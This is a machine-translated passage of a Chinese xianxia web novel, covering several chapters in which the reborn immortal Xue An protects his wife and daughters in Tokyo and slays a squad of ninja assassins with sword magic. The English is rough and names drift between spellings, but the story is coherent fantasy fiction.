    "But a terrifying flame suddenly rose up from her body. Although I was only contaminated a little, my vitality was greatly injured. Finally, I was forced to be helpless. I had to temporarily seal her with all my cultivation bases. My lord, I don''t have any. Say a lie!" Baqi said in horror.


    It is very clear that in front of people like Xue An, if you make a mistake, it will be the end of the soul.


    And it is now speculating, who is this man?


    Why is it so powerful, even to the point of domineering.


    An Yan''s complexion gradually turned pale, and she shook her head at Xue An.


    "My husband...I don''t remember anything about that day!"


    Xue An smiled distressedly, "It''s okay, I''ll remember it one day!"


    At this time, Baqi took the opportunity to escape.


    Because he knew that if Xue An wanted to break the seal, he would definitely kill himself.


    But now it has connected several heads, how could it be Xue An''s opponent under the great loss of strength.


    Xue An stepped forward, came directly behind it, and threw a punch.


    "Ah ah ah ah I don''t want to die..."


    The cry stopped abruptly.


    Baqi''s demon body was wiped out under this fist.


    At the same time.


    An obscure breath disappeared from An Yan.


    An Yan felt that the Qi machine all over her body was much smoother.


    But then, a fire capable of destroying the world rose from An Yan.


    The power was so powerful that Watanabe Kiyaki, the nearest to him, turned into nothingness before he even had time to scream.


    Xue An''s unhappy face also showed a touch of shock.


    "The Flame of ExtinctionHow can it be!"


    An Yan didn''t notice this, and the flame lasted only a few seconds, and a talisman that made the world tremble lit up on An Yan''s forehead.


    Then the flame gradually disappeared.


    Xue An looked ugly and gritted his teeth.


    "The Immortal King Seal!"


    An Yan still didn''t notice anything at the moment, and walked over slowly, and said with some fear: "Husband, what''s wrong!"


    Xue An took a deep breath and smiled slightly, "It''s okay!"


    Speaking, Xue An put on An Yan''s arm, and probed the breath in her body with spirit.


    suddenly.


    An extremely awe-inspiring mental power suddenly appeared.


    In Xue An''s spiritual world, a pair of huge eyes slowly opened.

 Chapter 221： Regardless of you, the fairy king, the fairy emperor, I will kill it!

    These eyes occupy most of the sky, coldly overlooking Xue An below.


    "Mortal, this woman has great opportunities, she is a person of great fortune, my seal is sealed to her, leave quickly, otherwise, you will be destroyed!"


    The voice was extremely indifferent.


    Also lofty to the extreme.


    At the same time, a huge coercion exuded, which made people tremble.


    But Xue An slowly raised his head, a cold smile appeared at the corner of his mouth.


    "A mere phantom clone wants to bluff me? And it''s just a fairy king, can you really be invincible?"


    When Xue An was once the Immortal Venerable, he could kill the Immortal King with just one hand.


    Although the cultivation base has not yet recovered, the opponent is just a ghost clone, Xue An is not afraid.


    "Mortal, you successfully angered me, die!" A trace of anger flashed through the huge eyes, and then an extremely dazzling golden light shot directly at Xue An.


    In this spiritual world, competition is purely based on divine consciousness, and once defeated, it will be the end of divine soul, extremely dangerous.


    But Xue An looked indifferent in the face of the golden light that broke through the air. Only when he was about to arrive, he suddenly raised his fist and punched out.


    "Let you do anything, I will break it with one blow!"


    boom.


    The power of this punch directly scattered these golden lights.


    A panic flashed in the giant eyes, and then he wanted to attack.


    Xue An has already rushed in front of it and said lightly: "No matter what immortal king or immortal emperor you are, I will kill it!"


    After all, a lotus flower was in full bloom, and then it suddenly turned into a burning fire, directly engulfing the giant eye.


    "No... I know who you are! Don''t..." The giant eyes yelled a few times in horror, and then turned into nothingness.


    In a magnificent palace ten million light years away, a woman who had been meditating for an unknown amount of time slowly opened her eyes.


    The space seemed to tremble slightly under the eyes of this woman.


    "Someone actually destroyed one of my divine mind clones. Isn''t there no one with a high level of cultivation in that place?"


    When mentioning that place, a look of greed and panic flashed in the woman''s eyes.


    At this time, Xue An slowly opened his eyes, and the first thing that caught his eye was a concerned face.


    "Husband, what''s the matter?"


    Xue An smiled faintly, "It''s nothing, it''s just the seal on your body, it''s still a bit troublesome, but now it has been partially lifted, enough for you to cultivate to heaven!"


    An Yan let out a sigh of relief, "It''s okay if it''s okay, seal it and don''t worry, husband!"


    At this moment, Mika Motohashi stood up tremblingly, "First... Sir!"


    Xue An turned to look at the female star and smiled slightly, "My name is Xue An!"


    "Mr. Xue, what''s the matter?" After seeing Xue An''s smile, Motohashi Mika felt that her panic was gradually calming down.


    This man has a reassuring feeling.


    Xue An looked at the moon exuding a strange red color and waved casually.


    Everything that was quiet and weird suddenly disappeared, and the familiar urban noise came back.


    But those who died are unlikely to be resurrected.


    So this appearance caused countless screams.


    Xue An picked up the two little girls, "Let''s go!"


    Turning around and leaving.


    Mijia Motohashi suddenly seemed to think of something, took two steps forward, bowed and thanked, "Thank you, Mr. Xue, for your help. Excuse me, will I have a chance to see you in the future?"


    Xue An smiled faintly, "I will see you by chance!"


    After all, Xue An led the family away.


    Mijia Motobashi stared at Xue An''s back, not knowing what it was like.


    And Keiko Kawada also leaned over at this time, and said enviously: "God, I finally understand why you are fascinated by this man, he is so powerful! My God! I''m all fascinated!"


    Mika Motohashi smiled bitterly, "Don''t you see anyone has a family?"


    "So what, the stronger the man, the more lack of women! Meijia, you are so beautiful and outstanding, who would not be tempted?"


    Mika Motohashi shook her head, her expression a little sad, "He is different!"


    quickly.


    People from the Tokyo Metropolitan Police Department rushed to the scene, and were shocked by the scene before them.


    The streets were full of dead bodies, and Sensoji Temple seemed to have suffered a great battle, and there were ruined walls everywhere.


    "Is this a war?" a chief inspector said dumbfounded.


    "Block the scene, report it immediately!" The police chief who came said solemnly.


    quickly.


    The surroundings of Sensoji Temple were heavily sealed off.


    Then the entire government of R country was shaken, and the top officer of the Tokyo Metropolitan Police Department also got up from the bed and discussed the matter with some panicked subordinates.


    The corpse photos of the deceased were placed on the table, making these elites of country r look ugly.


    "Everyone, such a big thing has happened, but we didn''t notice any signs beforehand. I think this is a naked terrorist attack! It is a provocation to our great empire!" The sergeant exclaimed with an iron face. .


    "That''s right! The Prime Minister just ordered it, so we must investigate this matter carefully!"


    But at this moment, the door of the conference room was kicked open.


    The sheriff was about to get angry.


    A woman in tight leather pants and high heels walked in.


    "This matter has nothing to do with your Metropolitan Police Department!" the woman said lightly.


    "Why? And who are you?" The sheriff''s face was pale.


    The woman threw a document over.


    The sheriff looked down, shaking his whole body involuntarily.


    "Special Information Division?"


    "Yes, this matter will be handled by our Special Intelligence Division in the future! Do you understand?" the woman said.


    "Hi!" The sheriff and others bend over and bow, then back out.


    The woman picked up the photo of the deceased on the table, and the expression on her face gradually became serious.


    "Hyakki Yexing Is there such a powerful Onmyoji in the R country today? But once the Hyakki is dispatched, he will not give up easily, why did he suddenly disappear?"


    At this time, a man gradually emerged from the air.


    "Sister Meixi, you seem to be pretty again today!" The man said with a smirk.


    When I saw this man, Fujita Mihui felt a headache.


    "Senior Hoshino, the master said that ninjutsu is used to confront the enemy, and you must hide and forbear, but do you use ninjutsu for driving?"


    Aoyama Hoshino touched his nose awkwardly, and then leaned over, "Yeah, Hyakki Yakou?"


    Fujita Mixi nodded, and said solemnly: "Moreover, he is still an onmyoji who does things regardless of the consequences. We must arrest him as soon as possible."


    Aoyama Hoshino shrugged indifferently, "Sister Meixi, don''t be afraid, there is nothing hard to get your brother! Look at me!"


    Looking at the proud Aoyama Hoshino, Fujita Mihee had an ominous premonition.

 Chapter 222： That person is not something you can provoke

    "Miss Meijia, I hope you can cooperate with our investigation!" Fujita Mixi kept herself as calm as possible.


    Mika Motohashi shook her head, "I don''t know anything, but my eyes are dark, and when I wake up again, the streets are full of dead people."


    Fujita Mihee frowned when he looked at the star of Country R.


    She had asked several times, but this one just refused to say anything.


    In desperation, she got up and went to another room.


    At this time, Aoyama Hoshino was asking about pine flying flowers.


    "Ms. Pinewood, I think you should know our methods, so for your safety, please tell me everything!" Aoyama Hoshino said.


    Pine Feihua''s face was pale, her eyes were blank, as if she hadn''t heard at all.


    Aoyama Hoshino frowned, "Pine Flying Flower!"


    "Ah!" Pine Feihua was shocked.


    "You are also a first-rate master in the martial arts world anyway, what is it that scares you like this?" Aoyama Hoshino leaned down, staring at the pine flying flowers, and said softly.


    A look of horror flashed in Pine Feihua''s eyes, "Don''t ask, I won''t say anything!"


    "Oh? It seems that you have underestimated our ninja''s methods!" Aoyama Hoshino gave a cruel smile.


    Pine Feihua''s face was pale, but she resolutely said, "Kill me, I won''t say it."


    Pinewood Feihua knew very well what this special intelligence department was doing, and also understood that in Country R, ??ninjas are absolutely unprovoking.


    But if the opponent is Xue An, then she would rather offend these ninjas.


    Because that man... but the existence that makes ghosts and gods scared!


    Aoyama Hoshino''s face showed anger, and he was about to do it.


    Fujita Mixi walked in and said coldly: "Forget it! This investigation can also be found, she won''t say anything."


    Aoyama Hoshino rubbed his hands awkwardly, and smiled, "Actually, I just want to punish her a little bit!"


    Fujita Mihee looked at Matsuki Feihua, "Ms. Matsuki, I don��t know what you have experienced that will make you so scared, but since someone dared to commit such a crime in R country, then prepare to bear the anger of our ninja. !"


    Pine Feihua shook his head gently, "Senior Meixi, I know your reputation, but I still want to persuade you, don''t check, that person... you can''t provoke you!"


    Hearing these words, Aoyama Hoshino laughed blankly.


    "Can''t afford to provoke? I am more and more interested now, and there are people that our lifeless ninja can''t afford to provoke?"


    When he said this, Aoyama Hoshino''s face was full of pride.


    Pine Feihua lowered her head and said nothing.


    At his home in Tokyo, Xue An took out a Peiyuan Dan specially refined for Anyan.


    "Yan''er, this is what I specially prepared for you when I refined the Pei Yuan Dan for Thinking and Nian Nian! Now you can eat it!"


    An Yan took the pill, swallowed it in one bite, and blinked.


    "It feels nothing!"


    As soon as the voice fell, An Yan felt that a hot air was wandering in her chest, and at the same time, her aura began to rise.


    boom! A rather powerful aura exudes.


    Real people!


    However, within a few breaths, An Yan actually broke through a realm, and went straight to the real-life realm.


    If this progress is passed out, it can scare his jaw.


    Xue An was also a little surprised. He didn''t expect that An Yan would actually break through with a Pei Yuan Pill alone.


    Could it be that his wife is the kind of spiritual genius with no one in a billion?


    "What a strange feeling!" An Yan looked down at her hands.


    "It seems to have infinite power!"


    As An Yan said, one hand stretched out and gently twisted Xue An''s waist.


    hiss.


    Xue An felt a huge force coming and grinned in pain.


    An Yan took a closer look, then quickly let go of her hand.


    "Husband, I''m sorry, does it really hurt?"


    Xue An rubbed his waist and smiled bitterly: "What do you mean?"


    "Hehe, who told me to screw you before, you always pretended to be painful, now it''s fine, no need to pretend!" An Yan said with a smile.


    Xue An couldn''t laugh or cry.


    Women...Sometimes it''s hard to understand.


    "Husband, everything is done, should we go home?" An Yan asked.


    Xue An nodded, "Tomorrow, we will leave tomorrow!"


    But after Kiyoko Takeuchi returned, he brought back a news that Country R had just issued a ban and blocked all airports.


    Xue An frowned when he heard it, should he take a large family and fly back directly from Country R?


    "Forget it, it just happens to be fine now, just as a tourist, let''s stay a few more days!" An Yan said.


    Xue An nodded.


    In the next few days, Xue An led his wife and children to play.


    He led all the fun places in Tokyo around.


    Although such a big event has happened, Tokyo is an international metropolis after all, and it is still very bustling.


    And while Xue An was taking his family to visit the mountains and water, Fujita Mixi finally analyzed various news and found that a person had also appeared at Sensoji Temple that day.


    Xue An.


    When she saw the name, her heart sank.


    As a member of the Intelligence Section, she certainly knew Xue An''s deeds.


    But will he do this?


    Aoyama Hoshino slapped his chest, "Well, Junior Sister Meixi, now that there is a suspect, let me give the rest!"


    He said that before Mixi Fujita could speak, he fled away.


    Fujita Mihee stomped, "This reckless ghost! Don''t cause trouble!"


    At this moment, Xue An is leading her two daughters to watch TV at home.


    An Yan was playing games with joy.


    She has recently become obsessed with host games in Country R, ??especially various horror games. She is afraid and wants to play.


    "Damn!" An Yan was startled by a ghost that suddenly appeared in the game, and subconsciously grabbed Xue An''s clothes.


    Xue An could not laugh or cry.


    "So be afraid, don''t play it!"


    An Yan shook his head and said firmly: "I won''t, I have to see how scary this game can be!"


    Then An Yan said in a begging tone: "Husband, get closer to me!"


    Xue An had to move closer. UU Reading


    While the family is enjoying this rare warm time.


    An untimely voice came.


    "Really an enviable family!"


    Xue An frowned and said coldly: "Get out!"


    "Hee hee, why are you so angry? Isn''t your country the country that pays attention to etiquette the most?"


    With that, Aoyama Hoshino''s figure emerged from the air.


    His appearance made the two little girls very excited and shouted: "Is it a ninja?"


    Aoyama Hoshino''s polite Chao Xue Xiang and Xue Nian bent over, "Two beautiful ladies, yes, I am the ninja of the big R country!"


    Then he smiled at Xue An.


    "Mr. Xue, there are several things, we need your cooperation in the investigation! Please come with me!"

 Chapter 223： An Yans Pan

    "Oh? What if I don''t cooperate?" Xue An said lightly.


    "Then don''t blame me for being rude!" Aoyama Hoshino sneered.


    At this moment An Yan stood up abruptly and walked to the kitchen.


    Aoyama Hoshino glanced at An Yan, did not take her seriously, turned his head and continued: "Although you are very strong, don''t forget, this is country R, ??and I! I am the upper ninja of the lifeless ninja. Sir, now I order you to go back with me to cooperate with the investigation, otherwise..." Aoyama Hoshino smiled gloomily.


    But before the smile on his face dissipated, An Yan stood up with his beard and eyebrows, rushed out of the kitchen with a pan, and swiped the back of Aoyama Hoshino''s head.


    call!


    Pan came straight to Aoyama Hoshino with the sound of wind.


    A mocking smile appeared on Aoyama Hoshino''s face, and he turned slightly to avoid the pan, then smiled contentedly.


    "It''s really violent, but do you think you can beat me with this? I''m a Shinobu..."


    Before he finished speaking, An Yan gritted his teeth and threw the pan in his hand with all his strength.


    This was extremely fast, and unexpectedly, Aoyama Hoshino was shot in the head before he could react.


    Cang Dang.


    Pan and Aoyama Hoshino''s head came into close contact.


    I have to say that the head of the Lord Shinnin was hard enough, and the pan was directly deformed.


    And this ninja master Aoyama Hoshino''s head also bulged up at a speed visible to the naked eye.


    "Okay... OK! Actually hit me with this method? You are all dead! I''m going to kill you!" Aoyama Hoshino was shaking with anger.


    But just about to have an attack, a hand was placed on his shoulder.


    "Don''t move!" Xue An said lightly.


    Aoyama Hoshino froze.


    Although Xue An just put his hands on his shoulders lightly, Aoyama Hoshino felt that his muscles were not at his disposal.


    A strong sense of crisis surged into his heart, and he couldn''t help looking at Xue An with amazement.


    Why is this man who was still in a low spirit suddenly so powerful?


    An Yan was still a little angry at the moment.


    "Suddenly broke into my house and want to take my husband away? Hmph, I will let you know how powerful the pan is!"


    An Yan is like a female dragon being touched against scales, close to the edge of the runaway.


    Xue An smiled, "Okay, my wife, don''t be angry. I think this Master Shangren should know that he is wrong, right?"


    Seeing Xue An''s smile, Aoyama Hoshino''s blood was cold, and his complexion became pale.


    "People who go back to tell you, I did not do the Sensoji Temple. The murderer has been killed by me. Don''t thank you, but don''t bother me again. My patience is very limited!" Xue An said lightly.


    Aoyama Hoshino trembled all over, nodded hard, and then was about to flee away.


    But no matter how he used it this time, he couldn''t show the earth to escape.


    It seems that the surrounding space is blocked by the air machine.


    Aoyama Hoshino walked away fearfully.


    After he left, An Yan said with some worry: "Husband, will these guys come back?"


    "Of course it will!" Xue An smiled lightly.


    "Then what to do?" An Yan asked anxiously.


    "Of course I used a pan to shoot them one by one!" Xue An joked.


    An Yan blushed, lowered her head and twisted and said, "I was anxious when I heard that these guys were actually going to take you away..."


    Xue An stepped forward and rubbed her little head, and said dozingly: "Well, these guys won''t have a long memory without seeing blood, and you''re doing very well!"


    "really?"


    Xue An nodded, "Of course it is true!"


    An Yan smiled a little shyly, unlike the violent image holding a pan just now.


    When Fujita Mihee saw his elder brother Aoyama Hoshino, he couldn''t help being shocked.


    "Senior Brother, what''s wrong with you? Why is your head suddenly so big?"


    Aoyama Hoshino grinned and touched the smashed bag, and then said with a wry smile: "It was smashed with a pan. Also, this Sensoji incident is definitely related to Xue An! But this person is very strong! I think I need to notify the teacher!"


    "How strong is it?" Fujita Mixi frowned.


    "It is unspeakable and powerful, even I have only seen such a horrible atmosphere in the teacher."


    The expression on Fujita Mihee''s face became serious, "I need to report this, we can''t solve it alone!"


    Soon, Miki Fujita''s report attracted the attention of senior government officials.


    The Prime Minister of Country R is now like an ant on a hot pot, he is in a hurry.


    After such a big event, the pressure on him can be imagined.


    If he can''t give the people a satisfactory answer, then he must step down.


    So when Fujita Mihee''s report was submitted, the Prime Minister was overjoyed, and now he found the culprit.


    Therefore, he immediately accepted the suggestion and asked Fujita Mihee and others to handle the matter.


    In country R, ??ninjas are a very strange existence.


    They have always been hidden in the dark corners of history. They will only come to the front when the world is in chaos or when a group of heroes are competing.


    It was not until they entered modern society that these ninjas gradually walked out of the darkness and became an indispensable force in the R country and could even influence the change of power.


    now.


    In a tall building in Kyushu.


    Ryosuke Tohashi was leaning on the sofa, enjoying the good time of the day.


    Suddenly, a white light began to appear gradually.


    Ryosuke Tohashi frowned slightly, pinching the white light with his fingers, and then he saw clearly that it was a letter.


    This is also a secret technique used by ninjas to convey important information.


    After reading it, Tohashi Ryosuke closed his eyes and seemed to be thinking about something. After a while, he opened his eyes solemnly.


    "Come on!"


    Several figures gradually emerged.


    "grown ups!"


    "The order is passed on, and Wusheng Shengren will go to Tokyo!"


    "Yes!"


    Ryosuke Tohashi frowned and stood up and paced back and forth in the room.


    Xue An!


    The name set off a stormy sea in his heart.


    In the past few days, the martial arts world of country R has experienced a magnitude nine earthquake.


    Because of Beichen''s swordsmanship, all the sword sages of several major kendo schools, such as Ihe drawing swordsmanship, died, and the heads of Dainichi Shrine and the shrine also died.


    What happened at Sensoji Temple has become something that all the R country martial arts circles want to know.


    But what is certain is that this Xue An certainly cannot get rid of the relationship.


    Thinking of this, a murderous look flashed across Tohashi''s face.


    "Let me inform several other ninja genres. This time, I will definitely make this person who dare to provoke the samurai of our empire pay the price!"


    "Yes!"


    quickly.


    The heads of several ninja schools have received secret letters and sincere invitations from the prime minister.


    These killers, who were used to hiding in the dark, began to surface, showing their sharp fangs!


    Please remember the domain name of this book''s first publication:. Ghost Blowing Lantern Mobile Edition Reading URL:

 Chapter 224： Battle of Akihabara

    Tokyo.


    Akihabara.


    As the two-dimensional holy land of R country, people who haunt here every day are animation enthusiasts from all over the world.


    On the street, people in all kinds of strange costumes are even more common.


    "Dad, dad, look... Ultraman!" Xue Xiang said excitedly, pointing to a man on the street.


    As a little girl, her favorite thing to watch is Ultraman.


    And Xue Nian stared at a girl dressed as a variety of cherry blossoms.


    Xue An looked at the two excited daughters and couldn''t help but smile.


    "Then what do you two want to be like?"


    "I''m going to be Peppa!" Xue Nian said first.


    "Um..." Xue An raised his eyebrows slightly.


    "Then I have to be George, but that''s okay!" Xue Xiang also nodded and said.


    "Alright? Daddy Pig?" Xue Nian begged softly, shaking Xue An''s arm.


    As an Immortal Venerable who has experienced countless ups and downs and ascended to the peak of ten thousand realms, Xue An asked himself that his Dao Heart is as solid as a rock, and nothing can be destroyed.


    What''s more, it''s just a little girl acting like a baby, it''s not worth mentioning.


    Therefore, Xue An only hesitated for a second, then nodded.


    "Yeah, Dad is the best!" The two little girls all cheered.


    An Yan was watching the excitement.


    "Mom, and you, you are now Daddy Pig!" Xue Xiang said with a pretentious expression.


    The smile on An Yan''s face solidified.


    As a mecca for animation, Akihabara sells all kinds of COS props even on the sidewalk.


    So in a few minutes.


    Peppa Pig''s family appeared on the streets of Akihabara.


    However, because the beauty of this family is high enough, it has attracted a lot of attention.


    The more so, the happier Xue Xiang and Xue Nian who walked ahead.


    Xue An and An Yan wore pig ear hats, and followed them with a little embarrassment.


    "Missing Nian, are you tired? How about we find a place to eat ice cream?" Xue An offered the big killer of ice cream.


    But Xue Xiang and Xue Nian shook their heads together, their small faces were full of upset, "Daddy Pig, please call us Peppa and George!"


    Xue An: "..."


    Three hours later.


    The two little girls were finally tired of shopping.


    Xue An and An Yan couldn''t help but let out a sigh of relief.


    During these three hours, several people came forward to ask for a group photo.


    There were even a few scouts who were extremely excited to talk, thinking that Xue Xiang and Xue Nian had great acting prospects.


    Of course, this was rejected by Xue An.


    "Daddy Pig, I''m hungry!" Xue Nian said.


    Xue An nodded, "Go, go to dinner!"


    Xue Nian didn''t move.


    Xue An sighed, "Dear Peppa, shall we go to dinner?"


    Xue Nian just smiled, "Okay, Daddy Pig!"


    As night falls, Akihabara lights up.


    Xue An took the family to eat in the restaurant.


    Although the taste has been spoiled by Xue Anyang, the two little girls were indeed starving at the end of the day, so they were all devouring food.


    Xue An slowly drank the wine and looked at it with a smile.


    At this moment, the wind and rain are gradually rising outside, bringing out the warmth of the house.


    Suddenly, the store door was pushed open, and a cold wind mixed with rain poured in.


    Xue An raised his eyes slightly, and then saw an acquaintance.


    "Sorry, Mr. Edward, I am not interested in your brilliant background, and I am going to have dinner with my friends now, please stop following me?" Motohashi Mika said with a trace of anger.


    Keiko Kawada also said coldly from the side: "Mr. Edward, Meijia said it very clearly, please stop following us!"


    And a blond foreign man said with a smile at the moment: "Miss Motohashi, I have asked your company. In the past few days, you have been fine, and if we have dinner, wouldn''t it be better for us to be together? "


    Mika Motohashi is so angry.


    This Edward is a relative of the chairman of the company where Motohashi Mijia works. This time he flew to Tokyo from Country M to handle official business.


    In the end, he saw Mika Motohashi by accident. From then on, Edward seemed to be in a wicked way. No matter where Mika Motohashi went, he followed behind.


    This makes Mika Motohashi very annoying.


    This time I finally took Keiko out to eat, but the dog skin plaster followed him like a shadow.


    Keiko Kawada was also full of displeasure. When she turned her head, she saw Xue An not far away. She was bright in front of her, and then pushed Mijia Motohashi.


    "Look over there!"


    Mika Motohashi turned her head to look around, and was stunned.


    Keiko Kawada gave a sly smile, ignoring Mika Motohashi''s obstruction, and walked straight over.


    "Mr. Xue, hello!"


    Keiko Kawada greeted generously.


    Xue An leaned back on the chair and smiled faintly, "Hello!"


    He also saw what happened just now, so he looked at Keiko Kawada lightly, wanting to see what she was doing next.


    Keiko Kawada had a temperament that was not afraid of heaven and earth, but under Xue An''s indifferent gaze, she couldn''t help but feel a little uneasy.


    I don''t know how to say what I want to say.


    In the end, Mika Motohashi gritted her teeth and walked up, "Mr. Xue, it''s such a coincidence that we actually met again."


    Xue An nodded, then looked at the gradually gloomy Edward behind, "It seems that someone is very upset!"


    Mika Motohashi gritted her teeth and whispered: "Mr. Xue, please help me, this guy is so annoying!"


    Xue An smiled Because he didn''t need to go, this Edward had already stepped forward.


    "This is...?" Edward asked arrogantly.


    "This is Mr. Xue from China, and also our friend, Mr. Edward, it''s raining outside, please come back!"


    Although my heart is very angry.


    But because Edward is also an executive of the company anyway, Mika Motohashi tried to suppress the anger in his heart and said lightly.


    Edward heard a sullen look in his eyes, "Chinese people? Haha, I didn''t expect Miss Motobashi to have friends from China, which is really surprising!"


    Then Edward looked at Xue An, "Which company executive is this Mr. Xue?"


    Xue An shook his head, "I''m not an executive of some company, I just came to R country to play!"


    Edward smiled meaningfully, "Oh, that''s how it is!"


    Then he stopped looking at Xue An with his straight eyes, and turned to Meijia Motobashi and said, "Miss Motobashi, the environment of this place is so bad, why don''t I take you to a French meal!"


    Mika Motohashi''s face was extremely ugly.


    Just about to say something, Keiko Kawada pointed out the window as if he had seen a ghost, and tremblingly said: "Oh my God, is there anyone in COS when it rains?"


    Not just her, most of the people eating in the restaurant at the moment saw an amazing scene.


    On the streets of Akihabara on a rainy night, a group of men dressed in ancient samurai costumes, stepping on clogs and wearing hats on their heads slowly walked up.


    These men seemed to be silent when they walked, even the rain on the ground was not disturbed.


    When everyone was watching, Xue An picked up the wine in the glass, took a sip, and said lightly: "It''s a bunch of annoying guys."


    Mobile station:


    Please remember the domain name of this book''s first publication:. The mobile version of Ghost Blowing Lantern Reading URL:

 Chapter 225： There should be a 3-foot streamer in the world

    Edward was surprised: "What is this doing? Is it making a movie?"


    No one ignored him.


    Because these silent men are walking towards the restaurant.


    Although separated by the glass, you can still feel the powerful killing air.


    Many timid people are already trembling.


    Edward Qiang smiled and said, "Hehe, it looks like these people are here for dinner? Right?"


    However, his joke seemed so out of place at this time.


    "Please shut up!" Motohashi Mika said coldly.


    Edward closed his mouth in a jealous manner and turned his head to look at Xue An.


    He wanted to see how this weird Chinese man would react.


    At this moment, Xue An slowly drank the wine and stood up and smiled at An Yan.


    "wait for me!"


    An Yan nodded.


    The two little girls stopped their chopsticks and said to Xue An earnestly: "Come on, Dad!"


    Xue An smiled, "Okay, come on!"


    Edward didn''t know what Xue An was going to do, but was about to speak.


    However, Xue An''s hand was pressed on the window glass.


    boom.


    The glass cracked and shattered like a bullet.


    The wind and rain rushed in, blowing Xue An''s sleeves hunting and hunting.


    Then Xue An slowly walked away in the wind and rain, looking at the group of men surrounding him, and said lightly: "I said that my patience is limited, why don''t you understand it?"


    The leading man slowly raised his head, and under his hat was a pair of extremely indifferent, inhumane eyes.


    "Kill!" he spit out a word.


    All the men suddenly disappeared.


    At this moment, on a tall building in the distance, Ryosuke Tohashi sighed slightly.


    "Yu Shui Liu''s water escape kung fu is truly unique in the world!"


    A man standing by his side smiled proudly, "Women''s forbearance is also good, but I''m curious, even if this Xue An is tyrannical, but facing so many of us, why doesn''t he run away? Could it be that there is stupidity in China. Is Bushido spirit?"


    When talking about the Bushido spirit, this man was quite disdainful.


    Ryosuke Tohashi smiled slightly, "This should be what Huaguo said to do or not, after all, he came with his family!"


    Yu Shui Liu''s palm courtyard, Fu Jian Yi Ping curled his mouth in disdain, and looked at Xue An in the distance with a sneer in his heart.


    No one can survive the ambush under my hands, and so are you!


    Soon, you will become the 300th master who died under my Yu Shui Liu.


    Fushimi Ippei was proud.


    Xue An stood in the wind and rain and took a step slowly.


    But his foot was still in the air. On the side beside him, a person suddenly appeared and stabbed.


    This knife has reached its peak no matter whether it is Qi machine or speed.


    But Xue An didn''t even look at it, and dropped his feet gently.


    boom.


    The ninja who came in a sneak attack was like being bombarded by a cannon, and flew out directly, smashing the countless rain curtains behind him.


    This scene also shocked everyone in the restaurant.


    Edward was dumbfounded and muttered to himself, "Kung Fu! God, Chinese people really know Kung Fu!"


    At this moment, the murderous air was even worse, at least more than twenty swords pierced from Xue An''s side, feet and head, blocking all of Xue An''s path.


    The hearts of the people watching above the tall buildings in the distance are relieved.


    Aoyama Hoshino squinted his eyes proudly.


    In his opinion, Xue An was dead.


    But at this moment, Xue An, standing in the wind, rain and night, suddenly raised his head.


    The eyes were full of gleaming glamour, which shocked Tohashi Ryosuke and others.


    Then I heard Xue An whispered: "There should be a three-foot light sword in the world!"


    As his voice landed, a sword light shot up into the sky, like a nine-day dragon, turning around Xue An''s body on Monday.


    The twenty-odd swords that had been pierced were shattered at the same time, and these sword-holders had not even had time to hum, they were pierced by the sword qi.


    Then Xue An continued to walk forward like a stroll in the courtyard.


    Every step he took, countless ninjas would be killed by this dragon-like sword light!


    Under the sword aura, no one can beat it!


    Fushimi Ippei looked at the dead soul and exclaimed, "Sword Fairy!"


    On the other hand, Yuan Qiao Liangjie''s face was extremely gloomy, and he shouted in a deep voice, "Wusheng Fa Ren is dispatched!"


    No life forbearance.


    The most mysterious and tyrannical existence among ninjas in country R.


    On this day, it finally appeared.


    I saw more than a dozen extremely powerful auras flying from all directions, and there was only one target, and that was Xue An.


    But under this kind of attack, Xue An was not sad or happy, and continued to chant indifferently: "Exhaust the demon vows!"


    boom!


    Originally, a dragon-like flowing light sword suddenly split into two, two into four, and in a blink of an eye it turned into countless sword formations, and then directly strangled all the inanimate law forbearance.


    So far.


    Xue An took three steps in the wind and rain.


    All the ninjas who ambushed him died.


    Ryosuke Tohashi and Fushimi turned around and ran.


    Aoyama Hoshino and Fujihashi Mixi hadn''t reacted yet, it was seen that the masters had all run away, and they also turned to run.


    Xue An narrowed his eyes slightly, "As I said, my patience is very limited, so if you dare to provoke me, then go to death!"


    The words fell, and the swords were together, Xue An pointed forward.


    "go with!"


    boom!


    The sword is like a torrent of steel, coming straight to this tall building.


    Everyone was so scared that the souls of the dead were mad, and they all used the escape technique to escape but only then did they discover that the escape technique had actually failed.


    Aoyama Hoshino thought of what he had experienced in Xue Ana that day, and his face was extremely pale, "He...he blocked everything around."


    At this moment, countless sword lights rushed to the tall building. Starting from the first floor, these sword lights were like locusts, directly smashing everything clean, leaving only the dusty things, and then going up layer by layer.


    Soon, this tall building became a bare concrete pillar as if it had been stripped of its coat.


    And Ryosuke Tohashi and others were all forced to the top of the building, and there was no way out.


    As soon as Xue An raised his foot, these sword auras paved a path directly under his feet, and Xue An walked up slowly and onto the rooftop.


    Looking at these people with amazed faces, smiled slightly.


    "Sorry, please borrow your head!"


    "No!" Fushimi Ippei was about to shout.


    A gleam of sword light passed, the head shot up into the sky, and the dead body fell to the ground.


    Tohashi Ryosuke and the others looked cold all over.


    Xue An looked at these people, "Now, it''s your turn!"


    Aoyama Hoshino was the first to break down, crying and said: "Mr. Xue, I''m sorry, it''s all because of me, please let me go, I..."


    Xue An stretched out a finger, "I can let her go, but it will cost her life! Understand?"


    Aoyama Hoshino was stunned, and after a while he suddenly roared, took out a knife and killed himself.


    All this happened extremely quickly, before Fujita Mixi could react, the brother was already dead.


    Xue An sighed slightly, "Very well, you don''t need to die now!"


    And Ryosuke Tohashi''s eyes lit up, and Ms. Fujita shouted: "I am your master, now kneel down and commit suicide, for my life!"


    Mobile station:


    Please remember the domain name of this book''s first publication:. Ghost Blowing Lantern Mobile Edition Reading URL:

 Chapter 226： The real power is life and death

    Fujita Mihee looked dull.


    Ryosuke Tohashi couldn''t help it, so he stepped forward and prepared to do it himself.


    At this time, Xue An said calmly: "I said, they can kill one, but you can''t!"


    After that, a sword light came straight to Ryosuke Yuanqiao.


    Ryosuke Tohashi was shocked, and he grabbed Fujita Mixi trying to block the incoming sword light.


    But at this moment, a blood stain appeared in his throat, the blood stain gradually expanded, and finally a blood spring spurted out.


    There was an unwilling gurgling noise in his throat, and then he fell to the ground unwillingly.


    Country R sent to deal with all the ninjas of Xue An, the group is destroyed!


    Fujita Mihee suddenly felt very cold, the kind of cold deep into his bones.


    Xue An looked at her, "I won''t kill you! Because your life was replaced by someone else, but I hope you can figure it out. My patience is only this! Understand?"


    Fujita Mihui nodded tremblingly.


    Xue An looked at the stormy Tokyo, and said softly: "Since I have to bear it once, you still refuse to give up, then... this time I will give you a lesson that will be unforgettable for your life!"


    Jianguang turned into a giant dragon and crawled under Xue An''s feet. Xue An raised his foot and walked up to the tallest building in Tokyo, the Tokyo Tower known as the World Tree.


